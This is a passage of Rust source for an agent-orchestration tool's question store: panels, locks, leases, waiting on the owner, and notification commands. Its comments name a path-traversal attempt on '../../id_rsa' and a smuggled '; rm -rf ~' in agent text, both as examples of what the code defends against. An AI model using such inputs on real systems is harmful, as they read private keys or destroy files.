893    /// separately rather than asking the phone to infer it from the thread.
894    pub fn waiting_on_agent(&self) -> bool {
895        self.status.open() && matches!(self.thread.last(), Some(t) if t.who == Who::Operator)
896    }
897
898    /// Should a notification go out right now?
899    ///
900    /// Always, for the very first ask: [`Question::thread`] is still empty, so
901    /// there is no earlier operator turn to have already caught anyone's
902    /// attention. After that, only once [`REPLY_QUIET_WINDOW`] has passed
903    /// since the owner's own last word - see that constant for why the window
904    /// exists at all and why its length is not configurable.
905    fn should_notify(&self, now: Timestamp) -> bool {
906        let Some(last) = self
907            .thread
908            .iter()
909            .rev()
910            .find(|t| t.who == Who::Operator)
911            .map(|t| t.at)
912        else {
913            return true;
914        };
915        now.as_second() - last.as_second() > REPLY_QUIET_WINDOW.as_secs() as i64
916    }
917}
918
919/// A question store on disk.
920#[derive(Debug, Clone)]
921pub struct Questions {
922    root: PathBuf,
923}
924
925impl Questions {
926    /// The operator's questions, `<home>/questions`.
927    pub fn open() -> Self {
928        Self::at(crate::run::home().join("questions"))
929    }
930
931    /// A store at an explicit root. Tests use this, which is why none of them
932    /// need the operator's real home.
933    pub fn at(root: PathBuf) -> Self {
934        Self { root }
935    }
936
937    /// Directory holding the question files.
938    pub fn root(&self) -> &Path {
939        &self.root
940    }
941
942    /// Path for one question id.
943    pub fn path_of(&self, id: &str) -> PathBuf {
944        self.root.join(format!("{id}.json"))
945    }
946
947    /// Directory holding one question's panel, `<root>/<id>.panel`.
948    pub fn panel_dir(&self, id: &str) -> PathBuf {
949        self.root.join(format!("{id}{PANEL_DIR}"))
950    }
951
952    /// Store a panel: the html, plus `assets` copied in under their base
953    /// names. Updates `q.panel` and `q.assets`; the caller then [`put`]s the
954    /// question, or the record on disk will deny having a panel that exists.
955    ///
956    /// The assets are **copied, not referenced**. An agent authors its panel
957    /// inside a candidate worktree and points at files there, and `magi fold`
958    /// deletes those worktrees; a question is the permanent record of a
959    /// decision the owner took, so a panel that referenced its own images
960    /// would render as broken boxes exactly when someone went back to ask why
961    /// the decision was made. Copying follows symlinks - [`std::fs::copy`]
962    /// does, and so does the [`std::fs::metadata`] the size is measured with,
963    /// so the bytes counted and the bytes written are the same target file's -
964    /// which is the intent: storing a link would leave the panel pointing at
965    /// the worktree again, one indirection further away.
966    ///
967    /// Everything that can be rejected is rejected before the first byte is
968    /// written, and the panel is then assembled in a scratch directory and
969    /// swapped in. So a refusal leaves the previous panel intact, and a
970    /// success replaces it *wholesale* rather than merging: a re-asked
971    /// question showing one attempt's diff next to another attempt's table
972    /// would be a panel neither agent ever wrote.
973    ///
974    /// [`put`]: Questions::put
975    pub fn put_panel(&self, q: &mut Question, html: &str, assets: &[PathBuf]) -> Result<()> {
976        if !valid_asset_name(&q.id) {
977            bail!(
978                "question id `{}` is not a name magi will build a panel path from",
979                q.id
980            );
981        }
982        if html.trim().is_empty() {
983            bail!(
984                "question {} was handed an empty panel; an empty frame reads to \
985                 the owner as \"the agent had nothing to say\", which is a lie",
986                q.short()
987            );
988        }
989
990        // Names, then sizes, then writing - in that order, so nothing below
991        // can leave a partial panel on disk.
992        let mut named: Vec<(String, &Path)> = Vec::with_capacity(assets.len());
993        for src in assets {
994            let name = src.file_name().and_then(|n| n.to_str()).unwrap_or_default();
995            if !valid_asset_name(name) {
996                bail!(
997                    "panel asset `{}` cannot be stored: a panel file name must \
998                     match ^[A-Za-z0-9][A-Za-z0-9._-]{{0,63}}$ and contain no `..`",
999                    src.display()
1000                );
1001            }
1002            if let Some((_, first)) = named.iter().find(|(n, _)| n == name) {
1003                bail!(
1004                    "two panel assets are both named `{name}` - {} and {} - and \
1005                     the panel can only show one of them; rename one at the source",
1006                    first.display(),
1007                    src.display()
1008                );
1009            }
1010            named.push((name.to_owned(), src.as_path()));
1011        }
1012
1013        let mut total = html.len() as u64;
1014        for (_, src) in &named {
1015            let meta = std::fs::metadata(src)
1016                .with_context(|| format!("stat panel asset {}", src.display()))?;
1017            if !meta.is_file() {
1018                bail!(
1019                    "panel asset `{}` is not a file; a panel is html plus files \
1020                     copied beside it",
1021                    src.display()
1022                );
1023            }
1024            total = total.saturating_add(meta.len());
1025        }
1026        if total > PANEL_MAX_BYTES {
1027            bail!(
1028                "panel for question {} is {total} bytes, over magi's cap of \
1029                 {PANEL_MAX_BYTES} bytes; nothing was written",
1030                q.short()
1031            );
1032        }
1033
1034        let tmp = self.root.join(format!("{}{PANEL_TMP}", q.id));
1035        let dir = self.panel_dir(&q.id);
1036        std::fs::create_dir_all(&self.root)
1037            .with_context(|| format!("create {}", self.root.display()))?;
1038        clear_dir(&tmp)?;
1039        std::fs::create_dir(&tmp).with_context(|| format!("create {}", tmp.display()))?;
1040        if let Err(e) = fill_panel(&tmp, html, &named) {
1041            // A copy that dies halfway must not become the panel, and must not
1042            // leave scratch behind for the next call to inherit.
1043            let _ = std::fs::remove_dir_all(&tmp);
1044            return Err(e);
1045        }
1046        clear_dir(&dir)?;
1047        std::fs::rename(&tmp, &dir)
1048            .with_context(|| format!("move panel into {}", dir.display()))?;
1049
1050        q.panel = true;
1051        q.assets = named.into_iter().map(|(n, _)| n).collect();
1052        q.assets.sort_unstable();
1053        Ok(())
1054    }
1055
1056    /// The panel's html, or `None` when the question has no panel.
1057    ///
1058    /// `None` rather than an error for a missing panel because the caller is a
1059    /// web handler whose answer is 404 either way, and an unreadable panel is
1060    /// not a reason to fail the question it belongs to.
1061    pub fn panel_html(&self, id: &str) -> Option<String> {
1062        if !valid_asset_name(id) {
1063            return None;
1064        }
1065        std::fs::read_to_string(self.panel_dir(id).join(PANEL_HTML)).ok()
1066    }
1067
1068    /// One file from a panel. `Ok(None)` is "no such file"; `Err` is "that is
1069    /// not a name a panel file can have".
1070    ///
1071    /// Rejects a name failing [`valid_asset_name`] **before touching the
1072    /// filesystem**, which is the whole point of the second check: the name
1073    /// arrives from a URL, the directory is on disk where any process could
1074    /// have dropped a file, and `<root>/<id>.panel/../../id_rsa` is a path the
1075    /// operating system would resolve perfectly happily. The two callers'
1076    /// distinct outcomes - 400 for a name, 404 for a file - are why this is
1077    /// `Result<Option<_>>` rather than one flattened `Option`.
1078    pub fn panel_asset(&self, id: &str, name: &str) -> Result<Option<Vec<u8>>> {
1079        if !valid_asset_name(name) {
1080            bail!(
1081                "`{name}` is not a panel file name; it must match \
1082                 ^[A-Za-z0-9][A-Za-z0-9._-]{{0,63}}$ and contain no `..`"
1083            );
1084        }
1085        if !valid_asset_name(id) {
1086            return Ok(None);
1087        }
1088        let dir = self.panel_dir(id);
1089        if !dir.is_dir() {
1090            return Ok(None);
1091        }
1092        let path = dir.join(name);
1093        match std::fs::read(&path) {
1094            Ok(bytes) => Ok(Some(bytes)),
1095            Err(e) if e.kind() == std::io::ErrorKind::NotFound => Ok(None),
1096            Err(e) => Err(e).with_context(|| format!("read {}", path.display())),
1097        }
1098    }
1099
1100    /// Delete a question's panel, and any scratch a killed [`put_panel`] left.
1101    ///
1102    /// Succeeds when there is nothing to delete, so a caller cleaning up does
1103    /// not have to know whether a panel was ever written. The question record
1104    /// is not touched: the caller clears `panel` and `assets` and `put`s it,
1105    /// in the same order as everywhere else here.
1106    ///
1107    /// [`put_panel`]: Questions::put_panel
1108    pub fn drop_panel(&self, id: &str) -> Result<()> {
1109        if !valid_asset_name(id) {
1110            bail!("question id `{id}` is not a name magi will build a panel path from");
1111        }
1112        clear_dir(&self.panel_dir(id))?;
1113        clear_dir(&self.root.join(format!("{id}{PANEL_TMP}")))
1114    }
1115
1116    /// Path of the lease sidecar for one question id.
1117    pub fn lease_path(&self, id: &str) -> PathBuf {
1118        self.root.join(format!("{id}.lease"))
1119    }
1120
1121    /// The lease on a question, if a readable one exists.
1122    pub fn read_lease(&self, id: &str) -> Option<Lease> {
1123        let body = std::fs::read_to_string(self.lease_path(id)).ok()?;
1124        serde_json::from_str(&body).ok()
1125    }
1126
1127    /// Say, as `kind`, that something is alive and waiting on this question.
1128    ///
1129    /// Best-effort: a beat that cannot be written is a `tracing::debug`, never
1130    /// a reason to abandon a wait - the worst it costs is the waiter deciding
1131    /// the holder is gone a little early, and that is what the delivery guard
1132    /// (the seat still being busy) is there for.
1133    pub fn beat(&self, id: &str, kind: WaiterKind) {
1134        let lease = Lease {
1135            kind,
1136            pid: std::process::id(),
1137            beat_at: Timestamp::now(),
1138        };
1139        let path = self.lease_path(id);
1140        let tmp = path.with_extension("lease.tmp");
1141        let written = std::fs::create_dir_all(&self.root)
1142            .and_then(|()| std::fs::write(&tmp, serde_json::to_string(&lease).unwrap_or_default()))
1143            .and_then(|()| std::fs::rename(&tmp, &path));
1144        if let Err(e) = written {
1145            tracing::debug!("could not beat the lease on question {id}: {e}");
1146        }
1147    }
1148
1149    /// Remove the lease sidecar. Absent is fine.
1150    pub fn drop_lease(&self, id: &str) {
1151        let _ = std::fs::remove_file(self.lease_path(id));
1152    }
1153
1154    /// Read-modify-write one question under a short exclusive lock, so the
1155    /// waiter's bookkeeping, the asker's and the phone's `say` cannot overwrite
1156    /// each other with a copy that predates the others.
1157    ///
1158    /// [`Questions::put`] is an atomic *replace*, which protects a reader from
1159    /// a torn file and does nothing for two writers that both read the same
1160    /// version first. Everything that changes a question that can still be
1161    /// answered goes through here: `f` sees the current record, not one loaded
1162    /// earlier. A lock older than [`LOCK_STALE`] belongs to a writer that died
1163    /// mid-update and is broken.
1164    pub fn update<T>(
1165        &self,
1166        id: &str,
1167        f: impl FnOnce(&mut Question) -> Result<T>,
1168    ) -> Result<(Question, T)> {
1169        std::fs::create_dir_all(&self.root)
1170            .with_context(|| format!("create {}", self.root.display()))?;
1171        let lock = self.root.join(format!("{id}.lock"));
1172        let started = std::time::Instant::now();
1173        loop {
1174            match std::fs::OpenOptions::new()
1175                .write(true)
1176                .create_new(true)
1177                .open(&lock)
1178            {
1179                Ok(_) => break,
1180                Err(e) if e.kind() == std::io::ErrorKind::AlreadyExists => {
1181                    let stale = std::fs::metadata(&lock)
1182                        .and_then(|m| m.modified())
1183                        .ok()
1184                        .and_then(|t| t.elapsed().ok())
1185                        .is_some_and(|age| age > LOCK_STALE);
1186                    if stale {
1187                        let _ = std::fs::remove_file(&lock);
1188                    } else if started.elapsed() > LOCK_STALE {
1189                        bail!("could not lock question {id}");
1190                    } else {
1191                        std::thread::sleep(Duration::from_millis(15));
1192                    }
1193                }
1194                Err(e) => return Err(e).with_context(|| format!("lock {}", lock.display())),
1195            }
1196        }
1197        struct Unlock(PathBuf);
1198        impl Drop for Unlock {
1199            fn drop(&mut self) {
1200                let _ = std::fs::remove_file(&self.0);
1201            }
1202        }
1203        let _guard = Unlock(lock);
1204        let mut q = read_path(&self.path_of(id))?;
1205        let out = f(&mut q)?;
1206        self.put(&mut q)?;
1207        Ok((q, out))
1208    }
1209
1210    /// Write a question, atomically, so a process killed mid-write leaves the
1211    /// previous state readable rather than a truncated file that would strand
1212    /// the run waiting on it.
1213    pub fn put(&self, q: &mut Question) -> Result<()> {
1214        std::fs::create_dir_all(&self.root)
1215            .with_context(|| format!("create {}", self.root.display()))?;
1216        let body = serde_json::to_string_pretty(q).context("serialize question")?;
1217        let path = self.path_of(&q.id);
1218        let tmp = path.with_extension("json.tmp");
1219        let is_new = !path.exists();
1220        std::fs::write(&tmp, &body).with_context(|| format!("write {}", tmp.display()))?;
1221        std::fs::rename(&tmp, &path).with_context(|| format!("replace {}", path.display()))?;
1222        // A first write of an open question pages the operator, so a separate
1223        // notification about the same task or run is now a second page.
1224        if is_new
1225            && q.status.open()
1226            && q.node != crate::bump::NOTICE_NODE
1227            && let Some(home) = self.root.parent().filter(|p| !p.as_os_str().is_empty())
1228        {
1229            crate::notices::quiet_for(home, q);
1230        }
1231        Ok(())
1232    }
1233
1234    /// Load a question by id or unambiguous id prefix.
1235    pub fn get(&self, id: &str) -> Result<Question> {
1236        let resolved = self.resolve_id(id)?;
1237        read_path(&self.path_of(&resolved))
1238    }
1239
1240    /// Every question on disk: open first, then newest first.
1241    ///
1242    /// Open first because that ordering is the product - the list exists to
1243    /// show the operator what has stopped, and an answered question is history
1244    /// underneath it. Unreadable files are skipped rather than fatal: one
1245    /// corrupt question must not take the web UI down, and must certainly not
1246    /// hide the open question the operator was looking for.
1247    pub fn list(&self) -> Vec<Question> {
1248        let mut all: Vec<Question> = std::fs::read_dir(&self.root)
1249            .into_iter()
1250            .flatten()
1251            .flatten()
1252            .map(|e| e.path())
1253            .filter(|p| p.extension().is_some_and(|x| x == "json"))
1254            .filter_map(|p| read_path(&p).ok())
1255            .collect();
1256        all.sort_unstable_by(|a, b| {
1257            let rank = |q: &Question| u8::from(!q.status.open());
1258            rank(a).cmp(&rank(b)).then_with(|| b.id.cmp(&a.id))
1259        });
1260        all
1261    }
1262
1263    /// Open questions belonging to one run, newest first.
1264    ///
1265    /// Used to decide whether a parked run can be resumed: while this is
1266    /// non-empty, nothing about the run has changed and no agent should be
1267    /// spawned for it.
1268    pub fn open_for(&self, run: &str) -> Vec<Question> {
1269        self.list()
1270            .into_iter()
1271            .filter(|q| q.status.open() && q.run == run)
1272            .collect()
1273    }
1274
1275    /// Abandon every open question belonging to a run, and report how many.
1276    ///
1277    /// Called when a run's record is deleted. The agent that asked died with
1278    /// the run, so there is nobody left to hand an answer to, and a question
1279    /// left open would keep asking the operator for a decision that can no
1280    /// longer be delivered - the phone showed exactly that: "auth.rs というファ
1281    /// イルが見つかりません" with two buttons, for a run whose directory had
1282    /// been gone for two hours.
1283    ///
1284    /// Abandoned rather than deleted, because [`Question::abandon`] already
1285    /// means "this can no longer be answered" and the record of having asked
1286    /// is worth keeping. Answered questions are left exactly as they are.
1287    pub fn abandon_for_run(&self, run: &str, why: &str) -> Result<usize> {
1288        let mut abandoned = 0;
1289        for mut q in self.open_for(run) {
1290            q.abandon(why);
1291            self.put(&mut q)?;
1292            abandoned += 1;
1293        }
1294        Ok(abandoned)
1295    }
1296
1297    /// Abandon a run's open questions once `status` says the run is not
1298    /// coming back, worded with what it actually became.
1299    ///
1300    /// The run-deleted case above and this one are the same fact - nobody is
1301    /// left to read an answer - reached by two different doors. This is the
1302    /// one for a run that finished on its own: merged, reached `Ready` with
1303    /// nothing left to do, failed outright with no established point to
1304    /// resume from, or every candidate agreed, with evidence, that nothing
1305    /// belonged in the worktree. Those are exactly the statuses
1306    /// [`RunStatus::resumable`]
1307    /// excludes, and that is the line this draws too - deliberately not
1308    /// [`RunStatus::done`], which also counts `Blocked` and `Stalled` as
1309    /// over. Both of those can still be picked back up with the candidates,
1310    /// the review round and the seat sessions already on disk, so a question
1311    /// asked mid-round may yet get a real answer from a real resume, and
1312    /// folding it here would be exactly the mistake this function exists to
1313    /// avoid on the other side - answering back into a run that no longer
1314    /// exists to read it.
1315    ///
1316    /// A no-op, not an error, when `status` is still resumable or when there
1317    /// was nothing open to begin with - callers reach this from more than one
1318    /// place a run can settle, and a second call finding nothing left to
1319    /// abandon is the expected case, not a bug.
1320    pub fn settle_run(&self, run: &str, status: RunStatus) -> Result<usize> {
1321        if status.resumable() {
1322            return Ok(0);
1323        }
1324        let why = format!(
1325            "run {run} {}, so nothing is waiting for this answer",
1326            status.as_str()
1327        );
1328        // A post-merge notice is the exception: it is filed *because* the run
1329        // merged, and no agent waits on it - it is a to-do for the owner, not
1330        // a question a dead seat asked. Abandoning it here would erase the
1331        // only alert the moment the run settles.
1332        let mut abandoned = 0;
1333        for mut q in self.open_for(run) {
1334            if q.node == crate::bump::NOTICE_NODE {
1335                continue;
1336            }
1337            q.abandon(&why);
1338            self.put(&mut q)?;
1339            abandoned += 1;
1340        }
1341        Ok(abandoned)
1342    }
1343
1344    /// Expand an id prefix to exactly one question id. The short id the phone
1345    /// and the reports show is a suffix, so that is accepted too.
1346    pub fn resolve_id(&self, prefix: &str) -> Result<String> {
1347        if self.path_of(prefix).is_file() {
1348            return Ok(prefix.to_owned());
1349        }
1350        let hits: Vec<String> = self
1351            .list()
1352            .into_iter()
1353            .map(|q| q.id)
1354            .filter(|id| id.starts_with(prefix) || id.ends_with(prefix))
1355            .collect();
1356        match hits.len() {
1357            1 => Ok(hits.into_iter().next().expect("exactly one hit")),
1358            0 => bail!("no question matches `{prefix}`"),
1359            _ => bail!(
1360                "`{prefix}` matches {} questions: {}",
1361                hits.len(),
1362                hits.join(", ")
1363            ),
1364        }
1365    }
1366
1367    /// Newest modification time in the store, in milliseconds, for change
1368    /// detection. The web UI compares this instead of re-reading every
1369    /// question, so an idle phone on a slow link costs one `stat` per file.
1370    pub fn revision(&self) -> u64 {
1371        std::fs::read_dir(&self.root)
1372            .into_iter()
1373            .flatten()
1374            .flatten()
1375            .filter_map(|e| e.metadata().ok())
1376            .filter_map(|m| m.modified().ok())
1377            .filter_map(|t| t.duration_since(std::time::UNIX_EPOCH).ok())
1378            .map(|d| d.as_millis() as u64)
1379            .max()
1380            .unwrap_or(0)
1381    }
1382
1383    /// How many questions are open, whichever side of the conversation is
1384    /// holding the ball right now. Ten turns of back and forth between the
1385    /// owner and the agent are still one open question - see
1386    /// [`Question::say`] - so this does not drop while a reply is in
1387    /// flight. [`Self::count_needs_owner`] is the number that does.
1388    pub fn count_open(&self) -> usize {
1389        self.list().iter().filter(|q| q.status.open()).count()
1390    }
1391
1392    /// How many open questions actually need the owner right now: open, and
1393    /// not [`Question::waiting_on_agent`].
1394    ///
1395    /// This is the number a notification channel owes - the ask bar, the nav
1396    /// badge, the document title - because those exist to say "something
1397    /// needs you", and a question sitting in `magi ask --thread` limbo does
1398    /// not. `count_open` stays as it is for [`Self::open_for`]'s callers,
1399    /// where a round trip must not look like the run resumed.
1400    pub fn count_needs_owner(&self) -> usize {
1401        self.list()
1402            .iter()
1403            .filter(|q| q.status.open() && !q.waiting_on_agent())
1404            .count()
1405    }
1406}
1407
1408/// How a wait over [`Question`] ended.
1409#[derive(Debug, Clone, PartialEq, Eq)]
1410pub enum Wait {
1411    /// The owner decided. Carries [`Question::resolution`].
1412    Answered(String),
1413    /// The owner spoke back without deciding - see [`Question::say`]. The
1414    /// question is still [`QuestionStatus::Open`] and carries no [`Answer`];
1415    /// the caller's move is to hand this text to the agent and let it call
1416    /// `magi ask --thread` to keep talking, not to treat it as a decision.
1417    Replied(String),
1418    /// This call's [`WAIT_SLICE`] ran out with the question still
1419    /// [`QuestionStatus::Open`] and nothing having happened - not the owner
1420    /// going quiet, the clock on *this process* running out. The question is
1421    /// untouched; the caller's move is `magi ask --wait <id>` in a fresh
1422    /// process, so the wait resumes before the shell tool that would have
1423    /// killed this one gets the chance.
1424    Pending,
1425    /// Nobody said anything before the deadline, or the question was closed
1426    /// out from under the wait with no decision recorded - a run deleted out
1427    /// from under it, most often. Either way [`QuestionStatus::Abandoned`] is
1428    /// now on disk.
1429    Abandoned,
1430}
1431
1432/// File a question and wait for the owner, polling the store.
1433///
1434/// The question is updated in place from disk whenever the wait ends, so the
1435/// caller can act on it without re-reading it. `timeout` is the question's
1436/// whole `answer_timeout` budget, but this call spends at most [`WAIT_SLICE`]
1437/// of it - see [`Wait::Pending`] for what happens to the rest.
1438pub async fn ask_and_wait(
1439    q: &mut Question,
1440    store: &Questions,
1441    notify: &config::Notify,
1442    timeout: Duration,
1443) -> Result<Wait> {
1444    wait_for_owner(q, store, notify, timeout, POLL).await
1445}
1446
1447/// Resume a wait already filed, without adding a turn or notifying again.
1448///
1449/// This is `magi ask --wait <id>`'s engine: the process that owned the
1450/// previous slice is dead (the tool that ran it killed it, or it simply
1451/// exited after reporting [`Wait::Pending`]), but the question on disk never
1452/// stopped being open, and the owner was already notified about it once. A
1453/// second notification for the same unanswered question would page the
1454/// owner every [`WAIT_SLICE`] for a question they have already seen - so,
1455/// unlike [`ask_and_wait`], this skips straight to polling.
1456///
1457/// `timeout` is **not** re-armed to a fresh `answer_timeout` here - the
1458/// caller computes it as what remains until [`Question::asked_at`] plus the
1459/// configured `answer_timeout`, so stacking `--wait` calls can only ever use
1460/// up the deadline the first ask set, never push it out further.
1461pub async fn resume_wait(q: &mut Question, store: &Questions, timeout: Duration) -> Result<Wait> {
1462    wait_loop(q, store, timeout, WAIT_SLICE, POLL).await
1463}
1464
1465/// [`ask_and_wait`] with the poll interval injected.
1466///
1467/// Separate only so the tests can drive a whole wait in milliseconds instead of
1468/// sleeping through [`POLL`]; production has exactly one interval, and it is not
1469/// a knob the operator gets to tune.
1470async fn wait_for_owner(
1471    q: &mut Question,
1472    store: &Questions,
1473    cfg: &config::Notify,
1474    timeout: Duration,
1475    poll: Duration,
1476) -> Result<Wait> {
1477    // A question that is already on disk (a `--thread` reply just wrote it under
1478    // the lock) is left alone: this copy may predate an answer or say that
1479    // landed since, and writing it back would erase that.
1480    if !store.path_of(&q.id).is_file() {
1481        store.put(q).context("file the question")?;
1482    }
1483    if q.should_notify(Timestamp::now()) {
1484        if let Err(e) = notify(cfg, q).await {
1485            // A broken webhook is not a reason to throw away an implementation.
1486            // The question is already on disk and the web UI already shows it,
1487            // so the operator still has a way in; only the tap on the shoulder
1488            // is lost.
1489            tracing::warn!(
1490                "could not notify about question {}: {e:#} - the web UI is the \
1491                 only surface for it now",
1492                q.short()
1493            );
1494        }
1495    }
1496    tracing::info!(
1497        "question {} from {} is waiting for you: {}",
1498        q.short(),
1499        q.seat,
1500        q.summary
1501    );
1502    wait_loop(q, store, timeout, WAIT_SLICE, poll).await
1503}
1504
1505/// Take the wait as this process: beat the lease and note it on the record.
1506fn hold(store: &Questions, id: &str) {
1507    store.beat(id, WaiterKind::Asker);
1508    let took = store.update(id, |q| {
1509        if q.status.open() {
1510            q.waiter = Some(Waiter {
1511                kind: WaiterKind::Asker,
1512                since: Timestamp::now(),
1513            });
1514        }
1515        Ok(())
1516    });
1517    if let Err(e) = took {
1518        tracing::debug!("could not note the wait on question {id}: {e:#}");
1519    }
1520}
1521
1522/// Record that the agent has read everything so far, so the daemon waiter does
1523/// not resume a session to tell it what was already printed.
1524///
1525/// Callers must invoke this only **after** the word reached the agent's stdout:
1526/// marking first would let a tool timeout kill the process between the mark
1527/// and the print, and the waiter would then consider a word delivered that no
1528/// agent ever saw.
1529pub fn hand_over(store: &Questions, q: &mut Question) {
1530    let done = store.update(&q.id, |r| {
1531        r.delivered_turns = r.delivered_turns.max(q.thread.len());
1532        if r.status == QuestionStatus::Answered {
1533            r.answer_delivered = true;
1534        }
1535        r.waiter = None;
1536        Ok(())
1537    });
1538    match done {
1539        Ok((fresh, ())) => *q = fresh,
1540        Err(e) => tracing::debug!("could not record the hand-over of {}: {e:#}", q.short()),
1541    }
1542}
1543
1544/// What the agent is shown for an answer: the owner's says it has not read
1545/// yet, in order, then the answer. With no such say it is `answer` itself,
1546/// byte for byte.
1547pub fn answer_for_agent(q: &Question, answer: &str) -> String {
1548    let says = q.undelivered_owner_turns();
1549    if says.is_empty() {
1550        return answer.to_owned();
1551    }
1552    format!(
1553        "the owner also said, before answering:\n\n{}\n\nthe owner answered:\n\n{answer}",
1554        says.join("\n\n")
1555    )
1556}
1557
1558/// Print an answer (with any unread says before it) to `out`, flush, and only
1559/// then record the hand-over. A failed write marks nothing delivered.
1560pub fn deliver_answer(
1561    store: &Questions,
1562    q: &mut Question,
1563    answer: &str,
1564    out: &mut impl std::io::Write,
1565) -> std::io::Result<()> {
1566    writeln!(out, "{}", answer_for_agent(q, answer))?;
1567    out.flush()?;
1568    hand_over(store, q);
1569    Ok(())
1570}
1571
1572/// The polling loop shared by a fresh wait and a resumed one.
1573///
1574/// `timeout` is the budget left before the question's `answer_timeout`
1575/// truly runs out; `slice` bounds how much of that this one call spends
1576/// before handing control back. Landing on `slice` while `timeout` still has
1577/// budget left is [`Wait::Pending`] - the caller's move, not the owner's
1578/// silence. Landing on `timeout` itself - because it was no bigger than
1579/// `slice` to begin with - is the real thing, and abandons the question
1580/// exactly as a single unsliced wait always did.
1581async fn wait_loop(
1582    q: &mut Question,
1583    store: &Questions,
1584    timeout: Duration,
1585    slice: Duration,
1586    poll: Duration,
1587) -> Result<Wait> {
1588    // The owner may already have spoken back before this call ever started -
1589    // most often because they did so in the gap between an earlier call
1590    // reporting `Wait::Pending` and this one picking the wait back up with
1591    // `--wait`. That word must surface at once rather than sit unnoticed
1592    // until some *later* turn happens to change something: this call never
1593    // saw it get added, so nothing below would otherwise recognise it as
1594    // new. `last_word_awaiting_reply` reads the question's own record of
1595    // whose turn it is - see [`Question::waiting_on_agent`] - rather than a
1596    // turn count this call would have to have been there to capture.
1597    if let Some(said) = q.unread_from_owner() {
1598        return Ok(Wait::Replied(said));
1599    }
1600    hold(store, &q.id);
1601
1602    let bounded = timeout.min(slice);
1603    let is_the_real_deadline = bounded >= timeout;
1604    let deadline = tokio::time::Instant::now() + bounded;
1605    loop {
1606        let now = tokio::time::Instant::now();
1607        if now >= deadline {
1608            if !is_the_real_deadline {
1609                // The lease is left to age out on purpose: the caller is about
1610                // to run `magi ask --wait`, and that gap is what LEASE_TTL
1611                // covers.
1612                return Ok(Wait::Pending);
1613            }
1614            let why = format!("no answer within {}s of asking", timeout.as_secs().max(1));
1615            // Re-checked on the record as it is now: the owner may have said
1616            // something in time since the last poll, and that word is handed
1617            // over, not abandoned.
1618            let (fresh, unread) = store
1619                .update(&q.id, |r| {
1620                    let unread = r.unread_from_owner();
1621                    if unread.is_none() {
1622                        r.abandon(&why);
1623                        r.waiter = None;
1624                    }
1625                    Ok(unread)
1626                })
1627                .context("record the abandoned question")?;
1628            *q = fresh;
1629            if let Some(said) = unread {
1630                return Ok(Wait::Replied(said));
1631            }
1632            tracing::warn!(
1633                "question {} went unanswered for {}s; the run parks and the \
1634                 question stays as the record of it",
1635                q.short(),
1636                timeout.as_secs()
1637            );
1638            return Ok(Wait::Abandoned);
1639        }
1640        tokio::time::sleep(poll.min(deadline - now)).await;
1641        store.beat(&q.id, WaiterKind::Asker);
1642        match store.get(&q.id) {
1643            Ok(fresh) if !fresh.status.open() => {
1644                // Whoever answered - the phone, `magi answer`, another daemon -
1645                // owns the record now, so adopt theirs wholesale rather than
1646                // merging into a copy that predates it.
1647                *q = fresh;
1648                return Ok(match q.resolution() {
1649                    Some(a) => Wait::Answered(a),
1650                    // Closed with no decision - abandoned elsewhere, most
1651                    // often by the run behind it being deleted mid-wait.
1652                    None => Wait::Abandoned,
1653                });
1654            }
1655            Ok(fresh) => {
1656                if let Some(said) = fresh.unread_from_owner() {
1657                    *q = fresh;
1658                    return Ok(Wait::Replied(said));
1659                }
1660                // Still open and not waiting on the agent - nothing this
1661                // wait cares about happened, so keep polling.
1662            }
1663            Err(e) => {
1664                // Mid-rename, or a file the operator is editing by hand.
1665                // Neither is a reason to abandon a question a human may still
1666                // answer, so keep polling until the deadline decides.
1667                tracing::debug!("could not re-read question {}: {e:#}", q.short());
1668            }
1669        }
1670    }
1671}
1672
1673/// Run the operator's notification command, if one is configured.
1674///
1675/// The command is argv, never a shell string, and the substitutions below are a
1676/// single pass over each argument: a summary containing `; rm -rf ~` is one
1677/// argument to one program, and a summary containing the characters `{run}` is
1678/// not re-expanded. That property is the reason agent-authored text can be put
1679/// in a notification at all.
1680///
1681/// An error here is reported, not swallowed, so `magi notify --test` can show
1682/// the operator why nothing arrives. The waiting path logs it and carries on.
1683pub async fn notify(cmd: &config::Notify, q: &Question) -> Result<()> {
1684    notify_text(cmd, &q.run, &q.summary).await
1685}
1686
1687/// [`notify`] for an event that is not a question: the same command, the same
1688/// placeholders, with `summary` and `run` supplied directly.
1689pub async fn notify_text(cmd: &config::Notify, run: &str, summary: &str) -> Result<()> {
1690    let Some((program, args)) = cmd.command.split_first() else {
1691        // No command configured: the web UI is the only surface, by choice.
1692        return Ok(());
1693    };
1694    let url = web_url();
1695    if url.is_empty() && cmd.command.iter().any(|a| a.contains("{url}")) {
1696        tracing::warn!(
1697            "the notification command uses {{url}} but {WEB_URL_ENV} is unset, \
1698             so the link will be empty - export it next to `magi serve` with \
1699             the address `magi web --open` printed"
1700        );
1701    }
1702    let argv: Vec<String> = args.iter().map(|a| expand(a, run, summary, &url)).collect();
1703    tracing::debug!(program = %program, args = ?argv, "notifying");
1704
1705    let mut child = tokio::process::Command::new(program);
1706    child.quiet();
1707    child
1708        .args(&argv)
1709        .stdin(std::process::Stdio::null())
1710        // Killed if the timeout below drops this future: a notification
1711        // command left running would outlive the run it was announcing.
1712        .kill_on_drop(true);
1713    let out = match tokio::time::timeout(NOTIFY_TIMEOUT, child.output()).await {
1714        Ok(r) => r.with_context(|| format!("run notification command `{program}`"))?,
1715        Err(_) => bail!(
1716            "notification command `{program}` did not finish within {}s",
1717            NOTIFY_TIMEOUT.as_secs()
1718        ),
1719    };
1720    if !out.status.success() {
1721        let stderr = String::from_utf8_lossy(&out.stderr);
1722        let why = stderr
1723            .lines()
1724            .rev()
1725            .find(|l| !l.trim().is_empty())
1726            .unwrap_or("no output on stderr")
1727            .trim();
1728        bail!(
1729            "notification command `{program}` exited with {}: {why}",
1730            out.status
1731        );
1732    }
1733    Ok(())
1734}
1735
1736/// Substitute `{summary}`, `{run}` and `{url}` into one argument.
1737///
1738/// One left-to-right pass, so a substituted value is never scanned for further
1739/// placeholders. Agent prose contains braces, and an agent quoting `{summary}`
1740/// in a question must not make the notification recursive.
1741fn expand(template: &str, run: &str, summary: &str, url: &str) -> String {
1742    let table = [("{summary}", summary), ("{run}", run), ("{url}", url)];
1743    let mut out = String::with_capacity(template.len());
1744    let mut rest = template;
1745    while let Some(at) = rest.find('{') {
1746        out.push_str(&rest[..at]);
1747        let tail = &rest[at..];
1748        match table.iter().find(|(token, _)| tail.starts_with(token)) {
1749            Some((token, value)) => {
1750                out.push_str(value);
1751                rest = &tail[token.len()..];
1752            }
1753            None => {
1754                // Not a placeholder magi knows: it is the operator's own text.
1755                out.push('{');
